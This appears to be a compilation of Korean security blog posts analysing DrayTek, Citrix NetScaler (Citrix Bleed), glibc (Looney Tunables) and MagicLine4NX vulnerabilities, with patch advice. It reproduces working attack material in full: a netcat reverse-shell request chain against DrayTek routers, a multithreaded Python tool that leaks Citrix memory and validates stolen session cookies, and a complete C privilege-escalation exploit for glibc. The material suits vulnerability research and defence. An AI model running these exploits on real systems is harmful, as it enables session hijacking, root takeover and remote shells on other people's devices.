1. DrayTek

- 대만 네트워크 장비 제조 업체

- VPN, 방화벽, 라우터, 콘텐츠 필터링, VoIP 및 대역폭 관리 기능 등을 제공

 

2. 주요내용

2.1 CVE-2024-41592

[사진 1] CVE-2024-41592 [2]

- 취약한 버전의 DrayTek에서 발생하는 스택 기반 오버플로우 (CVSS: 10.0)

> 악용에 성공할 경우 서비스 거부 또는 CVE-2024-41585와 연계해 임의의 명령 실행 가능

※ CVE-2024-41585와 연계는 Vigor 3910와 Vigor 3912에만 영향

 

- 웹 UI의 40개가 넘는 CGI 페이지에 매우 긴 쿼리 문자열을 보냄으로써 트리거될 수 있음

> 쿼리 문자열 매개변수 구분을 위해 다수의 "&" 문자 사용

 

[사진 2] 취약한 코드

- var_query_str은 원시 쿼리 문자열이며, 처리된 쿼리 문자열은 a2에 저장

> while 루프 내에서 makeword()는 "&" 문자가 있는 경우 다음 쿼리 문자열 매개변수를 키-값 쌍으로 추출 및 저장

> 그러나, 해당 코드는 고정된 길이로 스택에 할당된 버퍼 a2에 저장할 수 있는 키-값 쌍의 개수에 대한 검사가 없음

> 따라서, 쿼리 문자열에 다수의 "&" 문자를 삽입하면 a2의 경계를 넘어 스택에 직접 쓸 수 있음

 

2.2 CVE-2024-41585

[사진 3] CVE-2024-41585 [3]

- 취약한 버전의 DrayTek에서 발생하는 임의 명령 실행 취약점 (CVSS: 9.1)

> 공격자가 애뮬레이션된 인스턴스에서 탈출하여 호스트 머신에 임의의 명령을 삽입할 수 있음

 

- 분석 장비를 포함한 일부 DrayTek 장치는 DrayOS가 에뮬레이션됨

> 호스트OS는 사용자가 직접 액세스할 수 없으나 게스트OS는 호스트OS와 통신할 수 있음

> 해당 통신에 "recvCmd" 바이너리를 사용하며 /etc/runcommand에 저장된 명령만 사용 가능

> 그러나, recvCmd가 전송한 명령이 /etc/runcommand에 저장된 목록의 문자열로 시작하는지 여부만 검사하여 

[사진 4] 게스트에서 호스트로 전송 가능한 명령 목록

2.3 공격 체인

- 공격자는 두 가지 취약점을 악용해 호스트OS에 임의의 명령을 삽입할 수 있음

다수의 "&" 문자와 포함하는 쿼리 문자열

recvCmd 바이너리를 통해 악성 명령 삽입

※ recvCmd 바이너리는 글자 수가 63글자로 제한되므로, 더 긴 명령은 순차적으로 보내거나 스크립트에 작성한 후 실행

[역방향 셸 연결 명령]
- hxxp://[Target IP]/cgi-bin/[vulnerable-cgi-page].cgi?&&&&....&&&&[shellcode]set_linux_time ;ifconfig br-wan3 192.169.42.42;
- hxxp://[Target IP]/cgi-bin/[vulnerable-cgi-page].cgi?&&&&....&&&&[shellcode] set_linux_time ;busybox nc 192.168.42.1 1234 -e sh;

[디코딩]
- hxxp://[Target IP]/cgi-bin/[vulnerable-cgi-page].cgi?&&&&....&&&&[shellcode]set_linux_time ;ifconfig br-wan3 192.169.42.42;
- hxxtp://[Target IP]/cgi-bin/[vulnerable-cgi-page].cgi?&&&&....&&&&[shellcode] set_linux_time ;busybox nc 192.168.42.1 1234 -e sh;

 

3. 대응방안

- 벤더사 제공 보안 업데이트 적용

> 두 가지 취약점을 포함한 총 11개의 취약점에 대한 패치 제공

[사진 5] 패치 버전

4. 참고

[1] https://www.forescout.com/blog/research-alert-draytek-exposed-vulnerable-routers/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-41592
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-41585
[4] https://www.boannews.com/media/view.asp?idx=134192&page=1&kind=1

1. NetScaler ADC 및 NetScaler Gateway

- 네트워크를 통해 제공되는 애플리케이션 및 서비스의 성능, 보안, 가용성을 향상시키는 데 사용되는 네트워킹 제품

> NetScaler ADC: 네트워크 내에서 애플리케이션 제공을 최적화하고 보호하는 데 중점
> NetScaler Gateway: 해당 애플리케이션과 내부 리소스에 대한 안전한 원격 액세스를 제공하는 데 중점

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-4966 [1]

 

- NetScaler 장비를 게이트웨이(VPN 가상 서버, ICA 프록시, CVPN, RDP 프록시) 또는 AAA 가상 서버로 구성한 경우 발생하는 취약점 (CVSS: 9.4)

> BoF로 인해 메모리 값을 반환하며, 그 중 세션 쿠키 등 유효한 값이 포함되어 있어 세션 하이재킹으로 인증 우회가 가능

> 여러 공격 그룹에서 취약점을 악용해 랜섬웨어 등을 유포하고 있어 벤더사 및 CISA에서 패치 촉구 [2]

※ AAA (Authentication, Authorization, Accounting) [3][4]
⒜ 세 가지의 독립적이면서도 서로 관련된 구성 요소로 이루어진 프레임워크
⒝ 불법적인 네트워크 서비스 사용을 방지하고자 사용자 인증, 권한제어, 과금을 위해 다양한 네트워크 기술과 플랫폼들에 대한 개별 규칙들을 조화시키기 위한 프레임워크
⒞ 일반적으로 서버-클라이언트로 구성
⒟ Authentication (인증) : 사용자의 접근을 결정하기 위해 사용자의 신원을 검증하는 과정
⒠ Authorization (권한부여) : 사용자의 신원 검증 후 리소스에 대한 접근 권한 및 정책을 결정
⒡ Accounting (계정관리) : 사용자의 활동을 기록, 수집하여 과금, 감사, 보고서 기능을 제공

 

영향받는 버전
- NetScaler ADC 및 NetScaler Gateway 14.1(14.1-8.50 이전)
- 13.1-49.15 이전의 NetScaler ADC 및 NetScaler Gateway 13.1
- 13.0-92.19 이전의 NetScaler ADC 및 NetScaler Gateway 13.0
- 13.1-37.164 이전의 NetScaler ADC 13.1-FIPS
- 12.1-55.300 이전의 NetScaler ADC 12.1-FIPS
- 12.1-55.300 이전의 NetScaler ADC 12.1-NDcPP
※ NetScaler ADC 및 NetScaler Gateway 버전 12.1은 EOL(End-of-Life) 더욱 취약함

 

2.1 취약점 상세 [5][6][7]

- NetScaler ADC 및 Gateway 제품은 NetScaler 패킷 처리 엔진(nsppe)을 사용하여 TCP/IP 연결 및 HTTP 서비스를 처리

> 취약한 버전의 제품에서 OpenID Connect Discovery 엔드포인트를 구현하는 nsspe 바이너리에서 취약점 발생

 

- 아래 함수는 OpenID 구성을 위한 JSON 페이로드를 생성하고 snprintf()를 사용해 페이로드에 호스트 이름을 삽입

> snprintf()의 반환값 iVar3를 ns_vpn_send_response에 의해 클라이언트에 전송되는 바이트 수를 결정하는 데 사용되기 때문에 발생

> snprintf가 버퍼에 쓴 바이트 수를 반환하지 않기 때문에 발생

“snprintf가 자동으로 문자열을 잘라낼 때, snprintf가 작성한 바이트의 수에 대한 정보는 되돌려주지 않습니다. 오히려 아웃풋 버퍼가 충분한 크기일 때 결과로 나올 법한 바이트의 수를 되돌려주죠.” [8]

iVar3 = snprintf(print_temp_rule,0x20000,
               "{\"issuer\": \"https://%.*s\", \"authorization_endpoint\": \"https://%.*s/oauth/ idp/login\", \"token_endpoint\": \"https://%.*s/oauth/idp/token\", \"jwks_uri\":  \"https://%.*s/oauth/idp/certs\", \"response_types_supported\": [\"code\", \"toke n\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end _session_endpoint\": \"https://%.*s/oauth/idp/logout\", \"frontchannel_logout_sup ported\": true, \"scopes_supported\": [\"openid\", \"ctxs_cc\"], \"claims_support ed\": [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\", \"acr\", \"amr \", \"email\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoin t\": \"https://%.*s/oauth/idp/userinfo\", \"subject_types_supported\": [\"public\"]}"
               ,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
authv2_json_resp = 1;
iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,iVar3);

 

- 취약한 URL

hxxtps://<Gateway or ADC IP address>/oauth/idp/.well-known/openid-configuration

 

- 공격자는 버퍼 크기 0x20000 바이트 를 초과하는 응답을 얻는 요청을 전송

> 해당 요청에 대한 응답으로 메모리값이 노출되며, 대부분 Null 바이트였으나 유의미한 정보가 포함되어 있음

GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
Host: a <repeated 24812 times>
Connection: close

HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 147441
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-Citrix-Application: Receiver for Web

{"issuer": "https://aaaaa ...<omitted>... aaaaaaaaaaaaaaaaí§¡
ð
í§¡-ª¼tÙÌåDx013.1.48.47à
d98cd79972b2637450836d4009793b100c3a01f2245525d5f4f58455e445a4a42HTTP/1.1 200 OK
Content-Length: @@@@@
Encode:@@@
Cache-control: no-cache
Pragma: no-cache
Content-Type: text/html
Set-Cookie: NSC_AAAC=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;Secure;HttpOnly;Path=/

{"categories":[],"resources":[],"subscriptionsEnabled":false,"username":null}
ð
å
å
PÏÏ
H¡
éÒÏ
eGÁ"RDEFAULT
ò #pack200-gzip
compressdeflategzip
dentity
þÿÿÿÿÿ
©VPN_GLOBALÿÿÿÿÿÿ   è"AAA_PARAMí

 

- 위 응답에서 확인한 유의미한 정보인 쿠키(NSC_AAAC)를 이용해 유효한 세션 쿠키인지 확인이 가능

> 모든 NetScaler 인스턴스가 동일한 종류의 인증을 사용하도록 구성되어 있지는 않음

> 하지만, 테스트한 대부분의 인스턴스에서 32 바이트 또는 65 바이트 길이의 16진수 문자열이 발견

POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1
Host: 192.168.1.51
Cookie: NSC_AAAC=59d2be99be7a01c9fb10110f42b188670c3a01f2245525d5f4f58455e445a4a42
Content-Length: 0
Connection: close


HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 4
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
X-Citrix-Application: Receiver for Web

testuser1

 

2.2 PoC [9]

① URL "/oauth/idp/.well-known/openid-configuration"에 GET 메소드 요청을 전송

> 메모리 덤프 시도

② 요청에 대한 서버의 응답에서 유의미한 정보(NSC_AAAC: 세션토큰) 유무 확인

③ NSC_AAAC 헤더를 설정해 "/logon/LogonPoint/Authentication/GetUserName" URL에 POST 메소드 요청 전송

> 해당 세션 토큰이 유효한지 확인

import re
import sys
import argparse
import requests

from urllib.parse import urlparse
from rich.console import Console
from alive_progress import alive_bar
from typing import List, Tuple, Optional, TextIO
from concurrent.futures import ThreadPoolExecutor, as_completed

warnings = requests.packages.urllib3
warnings.disable_warnings(warnings.exceptions.InsecureRequestWarning)

class CitrixMemoryDumper:
    SESSION_PATTERN = re.compile(rb'(?=([a-f0-9]{65}))')
    
    def __init__(self):
        self.console = Console()
        self.parser = argparse.ArgumentParser(description='Citrix ADC Memory Dumper')
        self.setup_arguments()
        self.results: List[Tuple[str, str]] = []
        self.output_file: Optional[TextIO] = None
        if self.args.output:
            self.output_file = open(self.args.output, 'w')

    def setup_arguments(self) -> None:
        self.parser.add_argument('-u', '--url', help='The Citrix ADC / Gateway target (e.g., https://192.168.1.200)')
        self.parser.add_argument('-f', '--file', help='File containing a list of target URLs (one URL per line)')
        self.parser.add_argument('-o', '--output', help='File to save the output results')
        self.parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose mode')
        self.parser.add_argument('--only-valid', action='store_true', help='Only show results with valid sessions')
        self.args = self.parser.parse_args()
        
    def print_results(self, header: str, result: str) -> None:
        if self.args.only_valid and "[+]" not in header:
            return

        formatted_msg = f"{header} {result}"
        self.console.print(formatted_msg, style="white")
        if self.output_file:
            self.output_file.write(result + '\n')

    def normalize_url(self, url: str) -> str:
        if not url.startswith("http://") and not url.startswith("https://"):
            url = f"https://{url}"
        
        parsed_url = urlparse(url)
        normalized_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
        return normalized_url

    def dump_memory(self, url: str) -> None:
        full_url = self.normalize_url(url)
        headers = {
            "Host": "a" * 24576
        }
        try:
            r = requests.get(
                f"{full_url}/oauth/idp/.well-known/openid-configuration",
                headers=headers,
                verify=False,
                timeout=10,
            )
            
            content_bytes = r.content
            if r.status_code == 200 and content_bytes:
                cleaned_content = self.clean_bytes(content_bytes).replace(b'a'*65, b'')
                
                if self.args.verbose and self.args.url:
                    self.results.append(("[bold blue][*][/bold blue]", f"Memory Dump for {full_url}"))
                    self.results.append(("text", cleaned_content.decode('utf-8', 'ignore')))
                    self.results.append(("[bold blue][*][/bold blue]", "End of Dump\n"))
                
                session_tokens = self.find_session_tokens(content_bytes)
                valid_token_found = False

                for token in session_tokens:
                    if self.test_session_cookie(full_url, token):
                        valid_token_found = True

                if not valid_token_found:
                    if not self.args.only_valid:
                        if self.args.url:
                            self.results.append(("[bold yellow][!][/bold yellow]", f"Partial memory dump but no valid session token found for {full_url}."))
                        else:
                            self.results.append(("[bold green][+][/bold green]", f"Vulnerable to CVE-2023-4966. Endpoint: {full_url}, but no valid session token found."))

            elif self.args.verbose and self.args.url:
                self.results.append(("[bold red][-][/bold red]", f"Could not dump memory for {full_url}."))
        except Exception as e:
            if self.args.verbose and self.args.url:
                self.results.append(("[bold red][-][/bold red]", f"Error processing {full_url}: {str(e)}."))
            
    def clean_bytes(self, data: bytes) -> bytes:
        return b''.join(bytes([x]) for x in data if 32 <= x <= 126)
   
    def find_session_tokens(self, content_bytes: bytes) -> List[str]:
        sessions = [match.group(1).decode('utf-8') for match in self.SESSION_PATTERN.finditer(content_bytes) if match.group(1).endswith(b'45525d5f4f58455e445a4a42')]
        return sessions

    def test_session_cookie(self, url: str, session_token: str) -> bool:
        headers = {
            "Cookie": f"NSC_AAAC={session_token}"
        }
        try:
            r = requests.post(
                f"{url}/logon/LogonPoint/Authentication/GetUserName",
                headers=headers,
                verify=False,
                timeout=10,
            )
            if r.status_code == 200:
                username = r.text.strip()
                self.results.append(("[bold green][+][/bold green]", f"Vulnerable to CVE-2023-4966. Endpoint: {url}, Cookie: {session_token}, Username: {username}"))
                return True
            else:
                return False
        except Exception as e:
            self.results.append(("[bold red][-][/bold red]", f"Error testing cookie for {url}: {str(e)}."))
            return False
        
    def run(self) -> None:
        if self.args.url:
            self.dump_memory(self.args.url)
            for header, result in self.results:
                self.print_results(header, result)
        elif self.args.file:
            with open(self.args.file, 'r') as file:
                urls = file.read().splitlines()
                with ThreadPoolExecutor(max_workers=200) as executor, alive_bar(len(urls), bar='smooth', enrich_print=False) as bar:
                    futures = {executor.submit(self.dump_memory, url): url for url in urls}
                    for future in as_completed(futures):
                        for header, result in self.results:
                            self.print_results(header, result)
                        self.results.clear()
                        bar()
        else:
            self.console.print("[bold red][-][/bold red] URL or File must be provided.", style="white")
            sys.exit(1)
        
        if self.output_file:
            self.output_file.close()

if __name__ == "__main__":
    dumper = CitrixMemoryDumper()
    dumper.run()

 

3. 대응방안

- 벤더사 제공 업데이트 적용 [10][11]

> 해당 취약점 외 DDoS(CVE-2023-4967)을 포함한 업데이트 제공

> 업데이트 버전에서는 snprintf()의 반환값 uVar7이 0x20000 보다 작은 경우에만 응답이 전송되도록 함

제품명 영향받는 버전 해결버전
NetScaler ADC 및 NetScaler Gateway 14.1 14.1-8.50 이전 버전 14.1-8.50
NetScaler ADC 및 NetScaler Gateway 13.1  13.1-49.15 이전 버전 13.1-49.15
NetScaler ADC 및 NetScaler Gateway 13.0 13.0-92.19 이전 버전 13.0-92.19
NetScaler ADC 13.1-FIPS 13.1-37.164 이전 버전 13.1-37.164
NetScaler ADC 12.1-FIPS 12.1-55.300 이전 버전 12.1-55.300
NetScaler ADC 12.1-NDcPP 12.1-55.300 이전 버전 12.1-55.300
uVar7 = snprintf(print_temp_rule,0x20000,
               "{\"issuer\": \"https://%.*s\", \"authorization_endpoint\": \"https://%.*s/oauth/ idp/login\", \"token_endpoint\": \"https://%.*s/oauth/idp/token\", \"jwks_uri\":  \"https://%.*s/oauth/idp/certs\", \"response_types_supported\": [\"code\", \"toke n\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end _session_endpoint\": \"https://%.*s/oauth/idp/logout\", \"frontchannel_logout_sup ported\": true, \"scopes_supported\": [\"openid\", \"ctxs_cc\"], \"claims_support ed\": [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\", \"acr\", \"amr \", \"email\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoin t\": \"https://%.*s/oauth/idp/userinfo\", \"subject_types_supported\": [\"public\"]}"
               ,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
uVar4 = 0x20;
if (uVar7 < 0x20000) {
    authv2_json_resp = 1;
    iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,uVar7);
    ...
}

 

- 모니터링 강화

> 로그 파일(/var/log/ns.log. nslog) 점검_외부 IP에서의 접속, 동일 IP의 여려 세션 생성 시도 등

> 취약점 악용 시도 탐지를 위한 규칙 적용

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-4966
[2] https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a
[3] https://layer3.tistory.com/11
[4] https://jhkim3624.tistory.com/205
[5] https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966
[6] https://www.picussecurity.com/resource/blog/cve-2023-4966-lockbit-exploits-citrix-bleed-in-ransomware-attacks
[7] https://www.mandiant.com/resources/blog/session-hijacking-citrix-cve-2023-4966
[8] https://www.boannews.com/media/news_print.asp?idx=74361

[9] https://github.com/mlynchcogent/CVE-2023-4966-POC

[10] https://support.citrix.com/article/CTX579459/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20234966-and-cve20234967
[11] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71231
[12] https://www.boannews.com/media/view.asp?idx=123060&page=1&kind=4
[13] https://www.boannews.com/media/view.asp?idx=123321&page=1&kind=1
[14] https://www.boannews.com/media/view.asp?idx=123993&page=1&kind=1

1. GNU C 라이브러리 (glibc) [1]

- GNU 프로젝트가 C 표준 라이브러리를 구현한 것

> 리눅스 계열 운영체제에서 C언어로 작성된 실행파일들이 동작하기 위해 공통적으로 사용하는 기능을 쉽게 이용할 수 있도록 묶어 놓은 소프트웨어 집합

- 시스템 호출과 다양한 기본 기능들(open, malloc, printf 등)을 포함하기 때문에 대부분의 시스템에서 사용

 

1.1 Dynamic Loader

- 프로그램 준비 및 실행을 담당하는 glibc의 중요한 구성요소

- 프로그램을 실행할 경우 Dynamic Loader는 다음과 같이 동작

① 해당 프로그램을 검사하여 필요한 공유 라이브러리(.io) 결정

② 결정된 공유 라이브러리를 검색하여 메모리에 로드

③ 런타임에 실행 파일과 공유 라이브러리 연결

④ 함수 및 변수 참조와 같은 레퍼런스를 확인하여 프로그램 실행을 위한 모든 것이 설정되었는지 확인

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-4911 [2]

- glibcd의 Dynamic Loader인 id.so의 GLIBC_TUNABLES 환경변수를 처리하는 과정에서 발생하는 버퍼 오버 플로우 취약점

- 해당 취약점은 2021년 04월 (glibc 2.34) 커밋 2ed18c부터 존재했던 것으로 확인됨

영향받는 버전
- Fedora 37, 38 버전
- Ubuntu 22.04, 23.04 버전
- Debian 12, 13 버전

※ 대부분의 리눅스 배포판에서 glibc를 사용하기 때문에 다른 리눅스 배포판에도 취약점이 존재할 가능성이 높음
즉, 대부분의 리눅스 배포판에 해당 취약점이 존재한다는 의미

※ 단, Alpine Linux는 라이브러리로 glibc가 아닌 musl libc를 사용하기 때문에 해당 취약점에 영향을 받지 않음

 

2.1 GLIBC_TUNABLES [3]

- 사용자들이 런타임 시 라이브러리의 행동 패턴을 조정할 수 있게 해 주는 것

- 사용자가 매번 필요할 때마다 컴파일링 작업을 다시 하지 않아도 되어 편리성을 높여줌

> 사용자들이 직접 값을 입력해 설정하는 것으로, 부정한 값이 입력될 위험성이 존재

 

2.2 취약점 상세

- 최초 실행시 id.so는 __tunables_init ()를 호출하며, 해당 함수의 기능은 다음과 같음

① 모든 환경 변수 조회 (Line 279)

② 존재하는 환경 변수 중 환경 변수 GLIBC_TUNABLE 검색 (Line 282)

③ 위 과정에서 검색한 각각의 GLIBC_TUNABLE 환경 변수의 사본 생성 (Line 284)

④ parse_tunables()를 호출하여 사본 GLIBC_TUNABLE 환경 변수 처리 및 검사 (Line 286) ---> 취약점 발생 지점

⑤ 원본 GLIBC_TUNABLE 환경 변수를 사본 GLIBC_TUNABLE 환경 변수로 변경 (Line 288)

269 void
270 __tunables_init (char **envp)
271 {
272   char *envname = NULL;
273   char *envval = NULL;
274   size_t len = 0;
275   char **prev_envp = envp;
...
279   while ((envp = get_next_env (envp, &envname, &len, &envval,
280                                &prev_envp)) != NULL)
281     {
282       if (tunable_is_name ("GLIBC_TUNABLES", envname))
283         {
284           char *new_env = tunables_strdup (envname);
285           if (new_env != NULL)
286             parse_tunables (new_env + len + 1, envval);
287           /* Put in the updated envval.  */
288           *prev_envp = new_env;
289           continue;
290         }

 

- parse_tunables() 함수는 복사본을 삭제하고 tunestr에서 모든 위험한 튜너블(SXID_ERASE)을 제거함

> 첫 번째 인수는 사본 GLIBC_TUNABLES을, 두 번째 인수는 원본 GLIBC_TUNABLES를 가리킴

> 정상적인 형태는 "tunable1= aaa:tunable2= bbb" 형태인 것으로 판단됨

162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168   char *p = tunestr;
169   size_t off = 0;
170 
171   while (true)
172     {
173       char *name = p;
174       size_t len = 0;
175 
176       /* First, find where the name ends.  */
177       while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178         len++;
179 
180       /* If we reach the end of the string before getting a valid name-value
181          pair, bail out.  */
182       if (p[len] == '\0')
183         {
184           if (__libc_enable_secure)
185             tunestr[off] = '\0';
186           return;
187         }
188 
189       /* We did not find a valid name-value pair before encountering the
190          colon.  */
191       if (p[len]== ':')
192         {
193           p += len + 1;
194           continue;
195         }
196 
197       p += len + 1;
198 
199       /* Take the value from the valstring since we need to NULL terminate it.  */
200       char *value = &valstring[p - tunestr];
201       len = 0;
202 
203       while (p[len] != ':' && p[len] != '\0')
204         len++;
205 
206       /* Add the tunable if it exists.  */
207       for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208         {
209           tunable_t *cur = &tunable_list[i];
210 
211           if (tunable_is_name (cur->name, name))
212             {
...
219               if (__libc_enable_secure)
220                 {
221                   if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222                     {
223                       if (off > 0)
224                         tunestr[off++] = ':';
225 
226                       const char *n = cur->name;
227 
228                       while (*n != '\0')
229                         tunestr[off++] = *n++;
230 
231                       tunestr[off++] = '=';
232 
233                       for (size_t j = 0; j < len; j++)
234                         tunestr[off++] = value[j];
235                     }
236 
237                   if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238                     break;
239                 }
240 
241               value[len] = '\0';
242               tunable_initialize (cur, value);
243               break;
244             }
245         }
246 
247       if (p[len] != '\0')
248         p += len + 1;
249     }
250 }

 

- GLIBC_TUNABLE 환경 변수가 "tunable1=tunable2=AAA" 처럼 예기치 않은 입력 값을 포함하는 경우 parse_tunables()에서 취약점이 발생

> 입력값 전체를 유효한 값으로 복사하며, 이는 Tunables이 SXID_IGNORE 유형일 때 발생

① while(true)를 첫 번째 반복 동안 "tunable1=tunable2=aaa"가 tunestr에 복사 (Line 221~235)

② p는 증가하지 않고 여전히 "tunable1", 즉 "tunable2= aaa"의 값을 가리킴 (Line 247~248)

> Line 203~204에서 ':'이 발견되지 않았기 때문

while(true)를 두 번째 반복 동안 "tunable2= aaa"가 tunestr에 복사되며 tunestr에서 버퍼 오버 플로우 발생

 

- 공격자는 해당 취약점을 악용해 SUID 등이 설정된 프로그램을 실행시켜 권한을 상승시킴 [4][5]

 

2.3 PoC [6]

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/stat.h>
#include <sys/wait.h>

#define ENV_ITEM_SIZE ((32*4096) - 1)

// No ASLR
//#define STACK_TARGET   0x00007ffffff0c808
// ASLR Brute
#define STACK_TARGET   0x00007ffdfffff018

char * p64(uint64_t val) {
    char * ret = malloc(8);
    memset(ret, 0, 8);
    memcpy(ret, &val, 8);
    ret[7] = 0;
    return ret;
}

char * allocation_helper(const char * base, int size, char fill) {
    char * ret = NULL;
    char * chunk = malloc(size + 1);
    memset(chunk, fill, size);
    chunk[size] = 0;
    asprintf(&ret, "%s%s", base, chunk);
    free(chunk);
    return ret;
}

char * create_u64_filler(uint64_t val, size_t size) {
    uint64_t * ret = malloc(size + 1);
    // We need to make sure the allocation does not contain a premature null byte
    memset(ret, 0x41, size);
    for (int i = 0; i < size / 8; i++) {
        ret[i] = val;
    }
    // force null-termination
    char* ret2 = (char*)ret;
    ret2[size] = 0;
    return ret2;
}

void setup_dir() {
    // TODO: This is very much not compatible with all distros
    system("rm -rf ./\x55");
    mkdir("./\x55", 0777);
    system("cp /usr/lib/x86_64-linux-gnu/libc.so.6 ./\x55/libc.so.6");
    system("cp ./suid_lib.so ./\x55/libpam.so.0");
    system("cp ./suid_lib.so ./\x55/libpam_misc.so.0");
}

int main(int argc, char** argv) {

    setup_dir();

    int num_empty = 0x1000;
    int env_num = num_empty + 0x11 + 1;
    char ** new_env = malloc((sizeof(char *) * env_num) + 1);
    memset(new_env, 0, (sizeof(char *) * env_num) + 1);
    printf("new_env: %p\n", new_env);

    if (new_env == NULL) {
        printf("malloc failed\n");
        exit(1);
    }

    // This is purely vibes based. Could probably be a lot better.
    const char * normal = "GLIBC_TUNABLES=";
    const char * normal2 = "GLIBC_TUNABLES=glibc.malloc.mxfast:";
    const char * overflow = "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=";
    int i = 0;
    // Eat the RW section of the binary, so our next allocations get a new mmap
    new_env[i++] = allocation_helper(normal, 0xd00, 'x');
    new_env[i++] = allocation_helper(normal, 0x1000 - 0x20, 'A');
    new_env[i++] = allocation_helper(overflow, 0x4f0, 'B');
    new_env[i++] = allocation_helper(overflow, 0x1, 'C');
    new_env[i++] = allocation_helper(normal2, 0x2, 'D');

    // the remaining env is empty strings
    for (; i < env_num; i++) {
        new_env[i] = "";

        if (i > num_empty)
            break;
    }

    // This overwrites l->l_info[DT_RPATH] with a pointer to our stack guess.
    new_env[0xb8] = p64(STACK_TARGET);

    // Create some -0x30 allocations to target a stray 0x55 byte to use as our R path.
    for (; i < env_num - 1; i++) {
        new_env[i] = create_u64_filler(0xffffffffffffffd0, ENV_ITEM_SIZE);
    }
    new_env[i-1] = "12345678901"; // padding to allign the -0x30's

    printf("Done setting up env\n");

    char * new_argv[3] = {0};
    new_argv[0] = "/usr/bin/su";
    // If we get a "near miss", we want to make sure su exits with an error code.
    // This happens when the guessed stack address is valid, but points to another (empty) string.
    new_argv[1] = "--lmao";

    printf("[+] Starting bruteforce!\n");
    int attempts = 0;
    while (1) {
        attempts++;

        if (attempts % 100 == 0)
            printf("\n[+] Attempt %d\n", attempts);

        int pid = fork();
        if (pid < 0) {
            perror("fork");
            exit(1);
        }

        if (pid) {
            // check if our child was successful.
            int status = 0;
            waitpid(pid, &status, 0);
            if (status == 0) {
                puts("[+] Goodbye");
                exit(0);
            }
            printf(".");
            fflush(stdout);
        } else {
            // we are the child, let's try to exec su
            int rc = execve(new_argv[0], new_argv, new_env);
            perror("execve");
        }

    }
    
}

 

- PoC 시연 참조 [7]

[영상 1] 공격 시연 영상

 

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [8][9][10]

> 레드햇, 우분투, 업스트림, 데비안, 젠투 등 주요 리눅스 배포판들이 보안 업데이트 발표

 

4. 참고

[1] https://www.gnu.org/software/libc/
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-4911
[3] https://www.gnu.org/software/libc/manual/html_node/Tunables.html
[4] https://blog.qualys.com/vulnerabilities-threat-research/2023/10/03/cve-2023-4911-looney-tunables-local-privilege-escalation-in-the-glibcs-ld-so
[5] https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
[6] https://github.com/RickdeJager/CVE-2023-4911
[7] https://www.youtube.com/watch?v=uw0EJ5zGEKE&list=PPSV
[8] https://access.redhat.com/security/cve/CVE-2023-4911
[9] https://security-tracker.debian.org/tracker/CVE-2023-4911
[10] https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4DBUQRRPB47TC3NJOUIBVWUGFHBJAFDL/
[11] https://www.boannews.com/media/view.asp?idx=122421&kind=1&search=title&find=%C7%F6%C1%B8%C7%CF%B4%C2+%B0%C5%C0%C7+%B8%F0%B5%E7+%B8%AE%B4%AA%BD%BA+%BD%C3%BD%BA%C5%DB%BF%A1%BC%AD 

1. MagicLine4NX

- 드림시큐리티에서 제작한 Non-PlugIn 기반의 인증서 인증, 전자서명, 웹구간 암복호화 솔루션

 

2. 취약점

- MagicLine4NX에서 입력값 검증 미흡으로 인해 발생하는 버퍼오버플로우 취약점

- 이를 악용해 공격자는 악성코드 유포, 원격 명령 실행 등의 악성 행위를 할 수 있음

- 라자루스 해킹조직이 악성코드 유포에 MagicLine4NX 취약점을 악용한 사례가 확인됨

영향받는 버전
- MagicLine 4.0 1.0.0.1 ~ 1.0.0.26 버전

 

2.1 취약점 상세

- MagicLine4NX는 시작 프로그램에 등록됨

- 프로세스가 종료되더라도 특정 서비스 (MagicLine4NXServices.exe)에 의하여 재실행되며, 한번 설치되면 프로세스에 항상 상주

 

